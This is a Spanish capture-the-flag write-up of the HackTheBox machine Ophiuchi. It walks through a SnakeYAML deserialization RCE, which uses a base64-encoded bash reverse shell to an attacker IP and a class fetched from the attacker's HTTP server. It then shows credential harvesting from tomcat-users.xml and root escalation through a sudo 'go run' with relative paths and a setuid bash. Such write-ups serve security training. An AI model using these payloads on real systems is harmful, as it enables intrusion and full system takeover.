Ophiuchi es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Ophiuchi 10.10.10.227 a /etc/hosts como ophiuchi.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 |
# Nmap 7.70 scan initiated Mon Feb 15 11:54:20 2021 as: nmap -sC -sV -p- -oA enumeration/nmap 10.10.10.227 Nmap scan report for 10.10.10.227 Host is up (0.051s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 8080/tcp open http Apache Tomcat 9.0.38 |_http-title: Parse YAML Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Feb 15 11:55:08 2021 -- 1 IP address (1 host up) scanned in 48.54 seconds |
Esta máquina no dispone de muchos servicios abiertos así que vamos directamente al portal web en el puerto 8080.
Enumeracion
Accedemos al portal web en el puerto 8080 y encontramos la siguiente página
Hacemos una primera prueba de introducir texto y nos devuelve una página con un error de que por motivos de seguridad está desactivado
Procedemos a realizar una pequeña búsqueda en google y encontramos una forma de poder explotar el servicio de parseo de yaml y conseguir realizar un rce a través del mismo en el repositorio yaml-payload
Así que nos descargamos el código y realizaremos los siguientes pasos.
En primer lugar generaremos el payload para ejecutar una reverse shell en la máquina víctima, para ello lanzaremos los siguientes comandos:
1 2 3 |
cmd="bash -c 'bash -i >& /dev/tcp/10.10.14.4/4444 0>&1'" payload="bash -c {echo,$(echo -n $cmd | base64)}|{base64,-d}|{bash,-i}" echo $payload |
Generando con ello el siguiente payload
1 |
bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzQ0NDQgMD4mMSc=}|{base64,-d}|{bash,-i} |
A continuación editaremos el fichero src/artsploit/AwesomeScriptEngineFactory.java y sustituiremos las siguientes líneas de código (líneas 12-13)
1 2 |
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com"); Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator"); |
Por una con nuestro payload
1 |
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzQ0NDQgMD4mMSc=}|{base64,-d}|{bash,-i}"); |
Y compilaremos el fichero .java
1 |
javac src/artsploit/AwesomeScriptEngineFactory.java |
Una vez compilado accedemos al directorio src
1 |
cd src/ |
Y levantamos un servidor en python en dicho directorio
1 |
python3 -m http.server 80 |
Y como último paso ejecutaremos el siguiente código en el formulario del portal web de parseo de yaml
1 2 3 4 5 |
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://10.10.14.4/"] ]] ] |
Si observamos a continuación el servidor python que levantamos veremos como ha descargado nuestros ficheros
1 2 3 4 5 |
$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.10.227 - - [15/Feb/2021 12:09:59] "HEAD /META-INF/services/javax.script.ScriptEngineFactory HTTP/1.1" 200 - 10.10.10.227 - - [15/Feb/2021 12:09:59] "GET /META-INF/services/javax.script.ScriptEngineFactory HTTP/1.1" 200 - 10.10.10.227 - - [15/Feb/2021 12:10:00] "GET /artsploit/AwesomeScriptEngineFactory.class HTTP/1.1" 200 - |
Y hemos conseguido una shell con el usuario tomcat en nuestra escucha
1 2 3 4 5 6 7 8 9 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.4] from (UNKNOWN) [10.10.10.227] 57754 bash: cannot set terminal process group (792): Inappropriate ioctl for device bash: no job control in this shell tomcat@ophiuchi:/$ id id uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat) tomcat@ophiuchi:/$ |
Una vez que estamos dentro revisamos el sistema y encontramos el directorio de configuración de la aplicación web
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
tomcat@ophiuchi:/$ cd cd tomcat@ophiuchi:~$ cd conf cd conf tomcat@ophiuchi:~/conf$ ls -l ls -l total 232 -rw-r----- 1 root tomcat 12873 Sep 10 08:25 catalina.policy -rw-r----- 1 root tomcat 7262 Sep 10 08:25 catalina.properties -rw-r----- 1 root tomcat 1400 Sep 10 08:25 context.xml -rw-r----- 1 root tomcat 1149 Sep 10 08:25 jaspic-providers.xml -rw-r----- 1 root tomcat 2313 Sep 10 08:25 jaspic-providers.xsd -rw-r----- 1 root tomcat 4144 Sep 10 08:25 logging.properties -rw-r----- 1 root tomcat 7588 Sep 10 08:25 server.xml -rw-r----- 1 root tomcat 2234 Dec 28 00:37 tomcat-users.xml -rw-r----- 1 root tomcat 2558 Sep 10 08:25 tomcat-users.xsd -rw-r----- 1 root tomcat 172359 Sep 10 08:25 web.xml |
Y en dichos ficheros encontramos las credenciales del usuario admin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
tomcat@ophiuchi:~/conf$ grep -rin pass grep -rin pass server.xml:125: analyzes the HTTP headers included with the request, and passes them server.xml:141: <!-- Use the LockOutRealm to prevent attempts to guess user passwords catalina.properties:19:# passed to checkPackageAccess unless the catalina.properties:26:# passed to checkPackageDefinition unless the tomcat-users.xml:22:<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/> tomcat-users.xml:26: you must define such a user - the username and password are arbitrary. It is tomcat-users.xml:36: them. You will also need to set the passwords to something appropriate. tomcat-users.xml:41: <user username="tomcat" password="<must-be-changed>" roles="tomcat"/> tomcat-users.xml:42: <user username="both" password="<must-be-changed>" roles="tomcat,role1"/> tomcat-users.xml:43: <user username="role1" password="<must-be-changed>" roles="role1"/> web.xml:87: <!-- pass the result to this style sheet residing --> web.xml:92: <!-- pass the result to this style sheet which is --> web.xml:359: <!-- work-around various issues when Java passes --> web.xml:385: <!-- headers passed to the CGI process as --> web.xml:406: <!-- passShellEnvironment Should the shell environment variables (if --> web.xml:407: <!-- any) be passed to the CGI script? [false] --> web.xml:2604: <mime-type>application/vnd.blueice.multipass</mime-type> tomcat-users.xsd:45: <xs:attribute name="password" type="xs:string" /> |
Obteniendo la flag de user
Ahora que tenemos las claves del usuario admin, escalamos a dicho usuario y conseguimos la flag de user
1 2 3 4 5 6 7 8 9 10 11 |
tomcat@ophiuchi:~/conf$ su admin su admin Password: whythereisalimit id uid=1000(admin) gid=1000(admin) groups=1000(admin) cd ls -l total 4 -r-------- 1 admin admin 33 Feb 13 20:40 user.txt cat user.txt 6xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx7 |
Escalado de privilegios
Una vez obtenido acceso con el usuario admin, revisamos si este usuario tiene algún permisos como root
1 2 3 4 5 6 7 8 |
admin@ophiuchi:~$ sudo -l sudo -l Matching Defaults entries for admin on ophiuchi: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User admin may run the following commands on ophiuchi: (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go |
Y observamos que el mismo tiene permisos para ejecutar como root el fichero index.go con el binario /usr/bin/go así que vamos a inspeccionar que hay en ese fichero.
Accedemos al directorio /opt/wasm-functions y encontramos los siguientes ficheros
1 2 3 4 5 6 7 8 9 10 11 |
admin@ophiuchi:/opt$ cd wasm-functions cd wasm-functions admin@ophiuchi:/opt/wasm-functions$ ls -l ls -l total 3920 drwxr-xr-x 2 root root 4096 Oct 14 19:52 backup -rw-r--r-- 1 root root 88 Oct 14 19:49 deploy.sh -rwxr-xr-x 1 root root 2516736 Oct 14 19:52 index -rw-rw-r-- 1 root root 522 Oct 14 19:48 index.go -rwxrwxr-x 1 root root 1479371 Oct 14 19:41 main.wasm admin@ophiuchi:/opt/wasm-functions$ |
Y vamos a ver el contenido de ellos para comprender que hace la aplicación y ver como podemos explotar la misma para conseguir escalar privilegios.
Observamos el fichero deploy.sh cuyo contenido es el siguiente
1 2 3 4 5 6 |
admin@ophiuchi:/opt/wasm-functions$ cat deploy.sh cat deploy.sh #!/bin/bash # ToDo # Create script to automatic deploy our new web at tomcat port 8080 |
No vemos nada relevante así que observamos el contenido del fichero index.go cuyo contenido es
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
package main import ( "fmt" wasm "github.com/wasmerio/wasmer-go/wasmer" "os/exec" "log" ) func main() { bytes, _ := wasm.ReadBytes("main.wasm") instance, _ := wasm.NewInstance(bytes) defer instance.Close() init := instance.Exports["info"] result,_ := init() f := result.String() if (f != "1") { fmt.Println("Not ready to deploy") } else { fmt.Println("Ready to deploy") out, err := exec.Command("/bin/sh", "deploy.sh").Output() if err != nil { log.Fatal(err) } fmt.Println(string(out)) } } |
Y aquí si que nos da información acerca de la ejecución del mismo, y además, se observa que no se especifica ninguna ruta por lo que podemos crear nuestros ficheros deploy.sh y main.wasm para cargar los mismos en lugar de los utilizados por la aplicación por defecto.
Necesitaremos conocer el contenido del fichero main.wasm, pero se trata de un binario en WebAssembly así que utilizaremos el siguiente portal para obtener el código completo
https://webassembly.github.io/wabt/demo/wasm2wat/index.html
Cargamos el fichero y obtenemos el código completo que es el siguiente:
1 2 3 4 5 6 7 8 9 |
(module (type $t0 (func (result i32))) (func $info (export "info") (type $t0) (result i32) (i32.const 0)) (table $T0 1 1 funcref) (memory $memory (export "memory") 16) (global $g0 (mut i32) (i32.const 1048576)) (global $__data_end (export "__data_end") i32 (i32.const 1048576)) (global $__heap_base (export "__heap_base") i32 (i32.const 1048576))) |
Necesitaremos modificar el código así que nos iremos al siguiente portal para poder revisar y testear los cambios
https://webassembly.github.io/wabt/demo/wat2wasm/index.html
Y necesitaremos modificar la línea
1 |
(i32.const 0)) |
Modificando el valor a 1 como vemos a continuación
1 |
(i32.const 1)) |
Completado esto, descargamos el fichero y lo subiremos a una ruta en la que tengamos permisos de escritura en la máquina, en nuestro caso lo hemos hecho sobre /tmp
Realizada esta parte vamos ahora a explotarlo.
Crearemos en primer lugar nuestro fichero deploy.sh
1 |
echo "chmod +s /bin/bash" > deploy.sh |
Después ejecutaremos el comando para el cual tenemos permisos de root
1 2 3 |
admin@ophiuchi:/tmp$ sudo -u root /usr/bin/go run /opt/wasm-functions/index.go <u root /usr/bin/go run /opt/wasm-functions/index.go Ready to deploy |
Y por último ejecutaremos la opción -p de bash para escalar a root
1 2 3 4 5 6 7 8 |
admin@ophiuchi:/tmp$ /bin/bash -p /bin/bash -p bash-5.0# id id uid=1000(admin) gid=1000(admin) euid=0(root) egid=0(root) groups=0(root),1000(admin) bash-5.0# whoami whoami root |
Obteniendo la flag de root
Ahora que ya tenemos permisos de root, nos vamos a la home de dicho usuario para obtener nuestra flag
1 2 3 4 5 6 7 8 9 10 11 12 13 |
bash-5.0# bash-5.0# cd /root cd /root bash-5.0# ls -l ls -l total 12 drwxr-xr-x 4 root root 4096 Oct 14 11:44 go -r-------- 1 root root 33 Feb 13 20:40 root.txt drwxr-xr-x 3 root root 4096 Oct 11 11:51 snap bash-5.0# cat root.txt cat root.txt 78c33103ab6307525624ab12a35d6bb4 bash-5.0# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace